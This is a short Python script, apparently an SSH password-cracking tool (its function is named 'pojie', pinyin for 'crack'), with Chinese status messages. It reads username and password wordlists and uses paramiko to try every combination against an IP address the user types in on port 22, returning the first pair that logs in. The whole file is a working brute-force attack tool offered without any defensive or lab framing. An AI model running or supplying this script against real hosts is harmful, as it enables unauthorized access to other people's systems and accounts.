import paramiko

def ssh_pojie(ip,port,user_file,passwd_file):
    f = open(user_file,"r")
    username = f.readlines()
    f.close()

    for user in username:
        user = user.replace("\n","")

        f = open(passwd_file,"r")
        passwdlist = f.readlines()
        f.close()

        for passwd in passwdlist:
            passwd = passwd.replace("\n","")

            try:
                client = paramiko.SSHClient()
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                client.connect(hostname=ip,port=port,username=user,password=passwd)
                print(f"{user}-{passwd},链接成功！！")
                return user,passwd
            except:
                print(f"{user}-{passwd},链接错误！")
                client.close()



def main():
    user_file = "username.txt"
    passwd_file = "passwd.txt"
    ip = input("请输入IP地址")
    port = 22
    ssh_pojie(ip,port,user_file,passwd_file)

if __name__ =="__main__":
    main()